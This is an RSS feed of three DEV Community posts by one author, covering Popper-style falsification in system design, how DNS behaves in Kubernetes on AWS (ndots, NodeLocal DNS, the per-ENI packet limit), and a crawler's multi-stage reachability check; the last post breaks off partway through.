<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Harish</title>
    <description>The latest articles on DEV Community by Harish (@harishteens).</description>
    <link>https://dev.to/harishteens</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F230396%2F001618ad-3dd5-4853-ac33-94df16cc24e2.jpeg</url>
      <title>DEV Community: Harish</title>
      <link>https://dev.to/harishteens</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/harishteens"/>
    <language>en</language>
    <item>
      <title>You can't test your way to certainty — so falsify instead</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 21 Jun 2026 08:27:19 +0000</pubDate>
      <link>https://dev.to/harishteens/you-cant-test-your-way-to-certainty-so-falsify-instead-2fek</link>
      <guid>https://dev.to/harishteens/you-cant-test-your-way-to-certainty-so-falsify-instead-2fek</guid>
      <description>&lt;p&gt;I'm currently building a PoC that rebuilds one of our core services from scratch — same job, completely different architecture. The design didn't come from a whiteboard moment; it accreted. I'd solved one issue in the existing system, then another, then another, and one day I looked back at the pile of fixes and something just spoke: &lt;em&gt;this doesn't seem right anymore.&lt;/em&gt; The old shape couldn't hold all the patches. So I started over.&lt;/p&gt;

&lt;p&gt;And that's where the trouble began.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fear of infinite examples
&lt;/h2&gt;

&lt;p&gt;As I implemented the new architecture, I worked the way most of us do: run it through an example, watch it break, add a tweak to handle that case, repeat. It felt productive. Each example I fixed made the system a little more capable.&lt;/p&gt;

&lt;p&gt;Then a quiet dread crept in: &lt;em&gt;what if this never ends?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I had 20 examples to test the PoC. But 20 was only the start — soon it would be 500, then eventually a million. I could feel myself on a treadmill. Every increment in scale would surface new cases, and I'd be patching forever, never able to point at the system and say "it's done." I couldn't see the end. The space of possible inputs was just too vast, and I was trying to map it one example at a time.&lt;/p&gt;

&lt;p&gt;The worst part wasn't the work. It was not knowing &lt;em&gt;how much&lt;/em&gt; work was left — or whether "left" even had a bottom.&lt;/p&gt;

&lt;h2&gt;
  
  
  Engineers have empirical bias
&lt;/h2&gt;

&lt;p&gt;Here's the thing I eventually named. We engineers make a huge number of design decisions based on the examples we happen to observe. We see a few hundred cases, spot the patterns, and bake those patterns into the system. Data scientists have a term for this trap: &lt;strong&gt;empirical bias&lt;/strong&gt; — over-fitting your conclusions to the sample you happened to look at.&lt;/p&gt;

&lt;p&gt;In a small project that's fine; you've basically seen everything. But in a large project, &lt;strong&gt;the unknowns are unknown.&lt;/strong&gt; Nobody has observed them. They're not on any list of edge cases because no one knows they exist yet.&lt;/p&gt;

&lt;p&gt;Which leads to the question that was actually keeping me up:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How do you know the things that you don't know?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  A surprising answer: Karl Popper's falsification
&lt;/h2&gt;

&lt;p&gt;The answer didn't come from an engineering blog. It came from philosophy of science.&lt;/p&gt;

&lt;p&gt;Karl Popper was a 20th-century philosopher who asked what separates real science from things that merely &lt;em&gt;sound&lt;/em&gt; scientific. His answer was &lt;strong&gt;falsifiability&lt;/strong&gt;. A claim is scientific only if it makes a prediction that could, in principle, be proven &lt;em&gt;wrong&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;His famous example is swans. No matter how many white swans you observe, you can never prove the statement "all swans are white" — there could always be another swan around the corner. A thousand confirmations don't make it true. But a &lt;strong&gt;single black swan&lt;/strong&gt; disproves it instantly. So the logic of discovery is asymmetric: confirmation is weak, refutation is decisive.&lt;/p&gt;

&lt;p&gt;From this, Popper drew a sharp line. A good theory is a &lt;strong&gt;bold conjecture&lt;/strong&gt; that sticks its neck out — it tells you exactly what observation would kill it, and then survives every attempt to kill it. A theory that &lt;em&gt;can't&lt;/em&gt; be falsified by any conceivable observation — one that's compatible with literally any outcome — isn't strong, it's empty. That's not science. That's &lt;strong&gt;pseudo-science.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is, more or less, how mainstream science actually works. Anyone can cook up a theory from observations. What earns it the name "scientific" is that it can be falsified and hasn't been — yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  How this applies to engineering
&lt;/h2&gt;

&lt;p&gt;Once I saw it, I couldn't unsee the parallel. I had been doing the unscientific thing: accumulating confirming examples ("look, it handles this one too!") and hoping the pile would eventually feel tall enough. It never would. That's the white-swan game, and it has no end.&lt;/p&gt;

&lt;p&gt;The shift was to invert it. Instead of trying to confirm my system on more and more cases, &lt;strong&gt;try to falsify it.&lt;/strong&gt; Concretely:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Write down every design decision, heuristic, and assumption&lt;/strong&gt; the system rests on. Make the implicit explicit. You can't test a belief you haven't articulated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For each one, name its black swan.&lt;/strong&gt; Ask: &lt;em&gt;what would disprove this? What exact thing has to happen for this decision to be wrong?&lt;/em&gt; If you genuinely can't think of anything that would break it, be suspicious — that's the pseudo-science smell. A decision that can't fail usually isn't saying anything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Instrument the black swan.&lt;/strong&gt; Put a log line or a metric on the precise condition that would prove the assumption false. Now the system itself watches for its own counterexamples.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If you're big enough, go hunting.&lt;/strong&gt; This is exactly what Netflix did with Chaos Monkey. Rather than wait for a server to die at 3 a.m. and hope the system coped, they wrote a tool that randomly kills production instances &lt;em&gt;during business hours&lt;/em&gt; — deliberately manufacturing the black swan while engineers are awake to watch it. The assumption under test is "we can lose any single instance and survive," and Chaos Monkey tries to falsify it on a schedule. It later grew into a whole "Simian Army" (latency injection, zone failures, and so on). The philosophy is pure Popper: don't trust that you're resilient because nothing has broken yet — actively try to break it, and let the failures find you before your customers do.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The point isn't to predict every unknown. It's to set a tripwire on each assumption so the unknown announces itself the moment it arrives.&lt;/p&gt;

&lt;h2&gt;
  
  
  The peace it gave me
&lt;/h2&gt;

&lt;p&gt;This reframe did something I didn't expect: it gave me peace.&lt;/p&gt;

&lt;p&gt;I stopped trying to imagine the million examples in advance, because I finally understood that I &lt;em&gt;couldn't&lt;/em&gt;, and that chasing them was the wrong game anyway. Instead: state the assumptions, instrument the black swans, and &lt;strong&gt;ship it.&lt;/strong&gt; Unless and until a tripwire fires, there's nothing to worry about. And when one does fire, I'll know instantly — and I'll fix it then, with a real counterexample in hand instead of a hypothetical fear.&lt;/p&gt;

&lt;p&gt;The treadmill stopped. Not because the unknowns went away, but because I'd outsourced the worrying to my logs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Over to you
&lt;/h2&gt;

&lt;p&gt;I'm genuinely curious how others think about this — building large-scale systems that have to handle countless cases you can't enumerate up front. Does the falsification lens resonate, or do you think I'm forcing a philosophy metaphor onto something that needs plain engineering? Tell me where this breaks. And if a particular idea ever gave you peace in the face of the unknown, I'd love to hear it.&lt;/p&gt;

</description>
      <category>software</category>
      <category>architecture</category>
      <category>computerscience</category>
    </item>
    <item>
      <title>DNS is weird inside k8s on AWS</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 21 Jun 2026 05:18:46 +0000</pubDate>
      <link>https://dev.to/harishteens/dns-is-weird-inside-k8s-on-aws-570c</link>
      <guid>https://dev.to/harishteens/dns-is-weird-inside-k8s-on-aws-570c</guid>
      <description>&lt;p&gt;&lt;em&gt;A ~6 minute read — just three concepts that, once you know them, change how you reason about DNS inside a cluster.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;While chasing some DNS timeouts recently, I went down a rabbit hole and came out with three concepts I wish I'd known earlier. None of them is exotic, but together they explain a surprising amount of "why is DNS being weird" behaviour on Kubernetes-on-AWS.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ndots&lt;/code&gt;&lt;/strong&gt; — why one hostname lookup can become many DNS queries&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NodeLocal DNS&lt;/strong&gt; — the per-node caching layer your queries actually hit first&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The EC2 per-ENI DNS packet limit&lt;/strong&gt; — a hard ceiling most people never hear about until they hit it&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. &lt;code&gt;ndots&lt;/code&gt;: one lookup is rarely one query
&lt;/h2&gt;

&lt;p&gt;Pull &lt;code&gt;/etc/resolv.conf&lt;/code&gt; from inside almost any Kubernetes pod and you'll see three interesting lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;nameserver&lt;/span&gt; &amp;lt;&lt;span class="n"&gt;cluster&lt;/span&gt;-&lt;span class="n"&gt;dns&lt;/span&gt;&amp;gt;
&lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="n"&gt;my&lt;/span&gt;-&lt;span class="n"&gt;namespace&lt;/span&gt;.&lt;span class="n"&gt;svc&lt;/span&gt;.&lt;span class="n"&gt;cluster&lt;/span&gt;.&lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;svc&lt;/span&gt;.&lt;span class="n"&gt;cluster&lt;/span&gt;.&lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;cluster&lt;/span&gt;.&lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;ec2&lt;/span&gt;.&lt;span class="n"&gt;internal&lt;/span&gt;
&lt;span class="n"&gt;options&lt;/span&gt; &lt;span class="n"&gt;ndots&lt;/span&gt;:&lt;span class="m"&gt;5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;nameserver&lt;/code&gt;&lt;/strong&gt; — where queries are sent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;search&lt;/code&gt;&lt;/strong&gt; — a list of suffixes the resolver may append to a name before giving up.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;options ndots:N&lt;/code&gt;&lt;/strong&gt; — the rule that decides &lt;em&gt;when&lt;/em&gt; those suffixes get appended.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;ndots&lt;/code&gt; is the quiet one, and it's the one that surprises people. It says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"If the name being looked up contains **fewer than N dots&lt;/em&gt;&lt;em&gt;, treat it as a partial/relative name — try it with each search suffix appended **first&lt;/em&gt;&lt;em&gt;, and only try it as an absolute name if all of those fail."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes defaults to &lt;strong&gt;&lt;code&gt;ndots:5&lt;/code&gt;&lt;/strong&gt;. That default exists for a good reason: service discovery. It lets your code say &lt;code&gt;redis&lt;/code&gt; or &lt;code&gt;payments.billing&lt;/code&gt; and have the resolver expand it to &lt;code&gt;redis.my-namespace.svc.cluster.local&lt;/code&gt;. Very convenient inside the cluster.&lt;/p&gt;

&lt;p&gt;The catch is what happens to &lt;strong&gt;real external hostnames&lt;/strong&gt;, which usually have fewer than 5 dots. Take &lt;code&gt;data.example.com&lt;/code&gt; — that's 2 dots. Since &lt;code&gt;2 &amp;lt; 5&lt;/code&gt;, the resolver assumes it's relative and walks the entire search list before trying the real thing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. data.example.com.my-namespace.svc.cluster.local   → NXDOMAIN
2. data.example.com.svc.cluster.local                → NXDOMAIN
3. data.example.com.cluster.local                    → NXDOMAIN
4. data.example.com.ec2.internal                     → NXDOMAIN
5. data.example.com                                  → the real answer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's &lt;strong&gt;5 queries to resolve one name&lt;/strong&gt;, four of them guaranteed misses. And remember the resolver issues &lt;strong&gt;A (IPv4) and AAAA (IPv6) records in parallel&lt;/strong&gt;, so realistically you're looking at up to &lt;strong&gt;~10 DNS queries for a single hostname&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix is one line:&lt;/strong&gt; set &lt;strong&gt;&lt;code&gt;ndots:1&lt;/code&gt;&lt;/strong&gt;. Then any name with at least one dot is tried &lt;strong&gt;as an absolute name first&lt;/strong&gt;, and &lt;code&gt;data.example.com&lt;/code&gt; resolves in a single shot (well, two — A and AAAA). You only lose the convenience of short, suffix-less service names — which most apps that talk to FQDNs and external hosts don't rely on anyway.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# pod spec&lt;/span&gt;
&lt;span class="na"&gt;dnsConfig&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;options&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ndots&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Takeaway: on Kubernetes, the number of DNS &lt;em&gt;queries&lt;/em&gt; your app generates is not the number of &lt;em&gt;lookups&lt;/em&gt; it makes. &lt;code&gt;ndots&lt;/code&gt; is the multiplier, and the default of 5 is tuned for in-cluster discovery, not external traffic.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. NodeLocal DNS: the (optional) cache hop you might not know is there
&lt;/h2&gt;

&lt;p&gt;First, the baseline that &lt;em&gt;is&lt;/em&gt; effectively universal: every cluster has a &lt;strong&gt;cluster DNS service&lt;/strong&gt; — historically &lt;code&gt;kube-dns&lt;/code&gt;, and &lt;strong&gt;CoreDNS&lt;/strong&gt; by default since Kubernetes 1.13. It runs centrally as a Deployment (a handful of pods behind a &lt;code&gt;ClusterIP&lt;/code&gt; Service, usually at &lt;code&gt;.10&lt;/code&gt; of the service CIDR, e.g. &lt;code&gt;10.96.0.10&lt;/code&gt;), and every pod's &lt;code&gt;resolv.conf&lt;/code&gt; points its &lt;code&gt;nameserver&lt;/code&gt; at that Service IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NodeLocal DNSCache is &lt;em&gt;not&lt;/em&gt; mandatory&lt;/strong&gt; — it's an optional add-on you opt into. When present, it inserts a per-node caching layer &lt;em&gt;between&lt;/em&gt; the pod and CoreDNS, so your pod resolves against the local node first instead of reaching across the network to the central CoreDNS Service on every query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  ┌─────────┐  link-local IP     ┌──────────────────┐
  │  Pod    │ ─────────────────► │  NodeLocal DNS   │  (DaemonSet — one per node)
  │ (glibc) │   UDP :53          │  on-node cache   │
  └─────────┘                    └────────┬─────────┘
                                          │ on cache miss, forward
                          ┌───────────────┴────────────────┐
                          │                                 │
                  *.cluster.local                    everything else
                          │                                 │
                          ▼                                 ▼
                  ┌───────────────┐                ┌──────────────────┐
                  │ CoreDNS /     │                │  Upstream / VPC  │
                  │ kube-dns      │                │  resolver        │
                  │ (in-cluster)  │                │  (cloud-provided)│
                  └───────────────┘                └──────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What it is and why it exists:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;NodeLocal DNS&lt;/strong&gt; runs as a &lt;strong&gt;DaemonSet&lt;/strong&gt; — one instance per node — and listens on a &lt;strong&gt;link-local address&lt;/strong&gt; (an IP in the &lt;code&gt;169.254.0.0/16&lt;/code&gt; range, which is node-local and never routed off the box).&lt;/li&gt;
&lt;li&gt;Every pod on that node sends its DNS queries to this local instance &lt;strong&gt;first&lt;/strong&gt;. The query never leaves the node for a cache hit.&lt;/li&gt;
&lt;li&gt;This solves two real problems: it &lt;strong&gt;cuts latency&lt;/strong&gt; (no network hop for cached answers), and it &lt;strong&gt;avoids a known conntrack/UDP race&lt;/strong&gt; that caused intermittent 5-second DNS hangs when pods talked to a cluster-wide DNS service directly.&lt;/li&gt;
&lt;li&gt;On a &lt;strong&gt;cache miss&lt;/strong&gt;, NodeLocal forwards the query upstream — cluster-internal names (&lt;code&gt;*.svc.cluster.local&lt;/code&gt;) go to &lt;strong&gt;CoreDNS/kube-dns&lt;/strong&gt;; everything else goes to the &lt;strong&gt;upstream resolver&lt;/strong&gt; (on AWS, the VPC resolver / &lt;code&gt;AmazonProvidedDNS&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The important mental model (when NodeLocal &lt;em&gt;is&lt;/em&gt; present): &lt;strong&gt;caching only helps for repeated names, and only within a TTL.&lt;/strong&gt; A positive answer is cached for its record's TTL; a negative answer (NXDOMAIN) is cached according to the zone's SOA. If you re-resolve the same host frequently, NodeLocal absorbs most of it. If your names or TTLs churn, more queries forward upstream.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. The EC2 per-ENI DNS packet limit (~1024 pps)
&lt;/h2&gt;

&lt;p&gt;This is the one almost nobody knows until it bites: &lt;strong&gt;EC2 caps DNS traffic at roughly 1024 packets per second per network interface (ENI).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Details that matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It's specifically the path to the &lt;strong&gt;VPC resolver&lt;/strong&gt; (the &lt;code&gt;.2&lt;/code&gt; address / &lt;code&gt;AmazonProvidedDNS&lt;/code&gt;) — packets to the Route 53 Resolver are what's metered.&lt;/li&gt;
&lt;li&gt;The limit is &lt;strong&gt;per-ENI&lt;/strong&gt;, which in practice usually means &lt;strong&gt;per-node&lt;/strong&gt; (or per-pod, if pods get their own ENIs). It is &lt;strong&gt;not&lt;/strong&gt; a cluster-wide pool and it &lt;strong&gt;cannot be raised&lt;/strong&gt; via a support ticket — it's a fixed allowance.&lt;/li&gt;
&lt;li&gt;When you exceed it, AWS doesn't return an error. It &lt;strong&gt;silently drops the excess packets.&lt;/strong&gt; A dropped UDP query gets no response, so the client just waits and eventually reports &lt;code&gt;i/o timeout&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How you'd actually &lt;em&gt;prove&lt;/em&gt; you're hitting it (rather than assuming): AWS exposes a per-ENI counter, &lt;code&gt;linklocal_allowance_exceeded&lt;/code&gt;, that increments each time a packet is dropped for crossing this limit. Read it on the node:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ethtool &lt;span class="nt"&gt;-S&lt;/span&gt; &amp;lt;interface&amp;gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;allowance_exceeded
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few honest caveats, because this is exactly where people jump to conclusions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The counter only proves anything if it's &lt;strong&gt;increasing during the timeout window&lt;/strong&gt;. A reading of &lt;code&gt;0&lt;/code&gt;, or a value on an idle/freshly-provisioned node, tells you nothing.&lt;/li&gt;
&lt;li&gt;Hitting this limit requires &lt;strong&gt;genuinely high DNS packet rates&lt;/strong&gt;. A service that resolves a small set of hosts repeatedly — where NodeLocal caches the answers — typically won't get anywhere near 1024 pps. So before blaming this limit, confirm the packet rate is actually high and the counter is actually moving.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;ndots&lt;/code&gt; amplification from concept #1 is what makes this limit &lt;em&gt;easier&lt;/em&gt; to hit than you'd expect — because each logical lookup can be ~10 packets — but amplification of a low request rate is still a low request rate.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Takeaway: the ~1024 pps per-ENI DNS cap is real and unraiseable, and its failure mode (silent drops → timeouts) is genuinely confusing. But it's a ceiling you have to &lt;strong&gt;measure&lt;/strong&gt;, not assume — &lt;code&gt;linklocal_allowance_exceeded&lt;/code&gt; is the only thing that proves it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  How the three fit together
&lt;/h2&gt;

&lt;p&gt;These aren't three separate facts — they're a chain:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Your app makes a DNS lookup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ndots&lt;/code&gt;&lt;/strong&gt; decides how many actual queries that becomes (default &lt;code&gt;ndots:5&lt;/code&gt; → potentially ~10×).&lt;/li&gt;
&lt;li&gt;Those queries hit &lt;strong&gt;NodeLocal DNS&lt;/strong&gt; first; cache hits stay on the node, misses forward to CoreDNS or the VPC resolver.&lt;/li&gt;
&lt;li&gt;The forwarded traffic to the VPC resolver is metered against the &lt;strong&gt;~1024 pps per-ENI limit&lt;/strong&gt;, and silently dropped past it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Knowing the chain is what lets you reason about a DNS problem instead of guessing: &lt;em&gt;is my query count inflated (&lt;code&gt;ndots&lt;/code&gt;)? is my cache actually being used (NodeLocal + TTLs)? am I genuinely hitting the packet ceiling (&lt;code&gt;linklocal_allowance_exceeded&lt;/code&gt;)?&lt;/em&gt; Three different questions, three different places to look.&lt;/p&gt;

&lt;p&gt;That's the toolkit. Where it points in any specific incident is a separate investigation — and proving which link in the chain is actually responsible takes measurement, not assumption.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>devops</category>
      <category>aws</category>
    </item>
    <item>
      <title>Your DNS check is lying to you</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sat, 06 Jun 2026 03:08:29 +0000</pubDate>
      <link>https://dev.to/harishteens/your-dns-check-is-lying-to-you-297n</link>
      <guid>https://dev.to/harishteens/your-dns-check-is-lying-to-you-297n</guid>
      <description>&lt;p&gt;&lt;em&gt;Or: how a "this host is dead" verdict from a single &lt;code&gt;net.LookupHost&lt;/code&gt; call quietly broke our crawler, and what we did about it.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;We run a crawler that fetches tens of thousands of corporate websites a day from a datacenter. Before we spend any budget on a fetch — the actual HTTP request, the residential proxy hop, the S3 upload — we run a cheap &lt;strong&gt;reachability gate&lt;/strong&gt;. The job of the gate is one thing: answer the question &lt;em&gt;"is it even worth trying to fetch this host from here?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The first version of that gate was the obvious thing: resolve the host. If DNS returns an IP, the host exists. If it doesn't, mark the URL dead and move on.&lt;/p&gt;

&lt;p&gt;That gate was wrong often enough to matter. This is the story of the four ways it was wrong, and the gate we ended up with.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why "just resolve the host" isn't enough
&lt;/h2&gt;

&lt;p&gt;A naive reachability check has the shape:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Call &lt;code&gt;net.LookupHost&lt;/code&gt;. If it returns IPs, the host is reachable. If it errors, it isn't.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Every clause in that sentence is a lie in production. Here are the four leaks we hit, in order of how painful they were.&lt;/p&gt;

&lt;h3&gt;
  
  
  Leak 1 — CNAME chains the resolver doesn't finish in time
&lt;/h3&gt;

&lt;p&gt;A lot of corporate sites don't resolve directly. They sit behind a CDN, which sits behind a tenant-specific alias, which sits behind a regional load-balancer name. From DNS's point of view, that's a CNAME chain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ir.bigcorp.com  →  bigcorp.cdnvendor.net  →  edge-eu-west-3.cdnvendor.net  →  A 203.0.113.42
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;LookupHost&lt;/code&gt; is supposed to chase the chain transparently and hand you the final IP. It usually does. But "usually" hides two real failure modes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The resolver chases the chain in series under a single deadline. A slow hop two-thirds of the way down eats the whole budget; the call returns a timeout, not the IP it would have found with another 200ms.&lt;/li&gt;
&lt;li&gt;An intermediate hop misbehaves — wrong record type, NXDOMAIN at a tier the resolver doesn't expect, a stub that's been decommissioned. The lookup fails &lt;em&gt;even though the host is registered and reachable through other paths&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both look identical to the caller: &lt;code&gt;LookupHost&lt;/code&gt; returned an error. The naive gate calls the host dead. The next day a human checks, the site loads fine in a browser, and we've burned a perfectly good URL.&lt;/p&gt;

&lt;h3&gt;
  
  
  Leak 2 — datacenter IPs get blocked silently
&lt;/h3&gt;

&lt;p&gt;Plenty of origins explicitly drop connections from cloud IP ranges. From a residential connection they answer instantly; from our crawler's egress IP the TCP handshake just times out. There's no error code that says "I'm filtering you" — it looks exactly like a dead origin.&lt;/p&gt;

&lt;p&gt;DNS resolves fine in that case, so the naive gate passes the host through. The fetch then burns its full timeout on a connection that was never going to land. Worse, when we &lt;em&gt;do&lt;/em&gt; go through our residential proxy, the host fetches cleanly. The check we wanted to make — &lt;em&gt;"is the origin actually down or is it just down **for us&lt;/em&gt;&lt;em&gt;"&lt;/em&gt; — wasn't being made anywhere.&lt;/p&gt;

&lt;h3&gt;
  
  
  Leak 3 — TLS versions that our real client will refuse anyway
&lt;/h3&gt;

&lt;p&gt;Our production HTTP clients pin &lt;code&gt;MinVersion: TLS 1.2&lt;/code&gt;. Some long-tail origins still only negotiate TLS 1.0/1.1. DNS passes, the TCP handshake passes, the TLS handshake fails with a protocol-version alert, and we've spent a residential proxy request finding that out.&lt;/p&gt;

&lt;p&gt;If we'd noticed at the gate that the server's best offer was below our floor, we could have failed the URL immediately and saved the spend.&lt;/p&gt;

&lt;h3&gt;
  
  
  Leak 4 — costing the proxy on requests that didn't need it
&lt;/h3&gt;

&lt;p&gt;Residential proxy requests are not free. Routing &lt;em&gt;every&lt;/em&gt; uncertain host through the proxy "just to be sure" turns a reachability check into one of the most expensive parts of the pipeline. Whatever we built had to use the proxy as a tiebreaker, not as a first resort.&lt;/p&gt;




&lt;h2&gt;
  
  
  What we built instead
&lt;/h2&gt;

&lt;p&gt;A three-stage gate, ordered cheapest-and-most-certain first. Each stage can short-circuit the result; the proxy is only touched when the cheap stages genuinely can't tell.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 1 — DNS that walks the CNAME chain by hand
&lt;/h3&gt;

&lt;p&gt;The fast path is still &lt;code&gt;LookupHost&lt;/code&gt;. It works for the vast majority of hosts, including most CNAME chains, and it costs nothing extra.&lt;/p&gt;

&lt;p&gt;The slow path is what changes. When &lt;code&gt;LookupHost&lt;/code&gt; fails, we don't conclude "dead host" — we conclude "the resolver couldn't finish the chain in one shot." So we walk the chain ourselves: &lt;code&gt;LookupCNAME&lt;/code&gt;, advance one hop, try &lt;code&gt;LookupHost&lt;/code&gt; at that level, repeat. Several things fall out of this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A bounded hop count (we picked 5) protects us from CNAME loops and pathologically deep chains.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;visited&lt;/code&gt; set catches loops that don't show up as depth — a CNAME that points back to a name we've already seen.&lt;/li&gt;
&lt;li&gt;A canonical-name dead-end (CNAME points to itself, or to a name with no further records) returns the &lt;em&gt;original&lt;/em&gt; error, so genuine NXDOMAINs still surface as NXDOMAINs.&lt;/li&gt;
&lt;li&gt;An intermediate hop that resolves where the full chain timed out is treated as a pass. The reasoning: the original timeout was almost certainly cumulative, not terminal. If any level in the chain has a working A record, the host is alive.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This single change moved a measurable chunk of URLs out of the "dead" bucket.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 2 — TLS as a three-way verdict, not a boolean
&lt;/h3&gt;

&lt;p&gt;A direct TLS dial from our datacenter is doing two jobs at once. It's checking whether the server speaks a version we accept, and it's checking whether the server answers us at all. Those two outcomes need different handling, so we classify the dial as one of three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Usable&lt;/strong&gt; — handshake completed, negotiated version ≥ TLS 1.2. Pass. The fetch will work.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rejected&lt;/strong&gt; — the server sent a TLS alert, or negotiated below our floor. Fail fast, and importantly: do not waste a proxy probe on this. Our real client would be rejected the same way; the proxy can't fix a TLS-version mismatch.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inconclusive&lt;/strong&gt; — a bare network error (timeout, connection refused, reset). From a datacenter IP this could mean a dead origin, &lt;em&gt;or&lt;/em&gt; an origin that filters cloud ranges. We don't know yet, so we defer to stage 3.&lt;/li&gt;
&lt;/ul&gt;

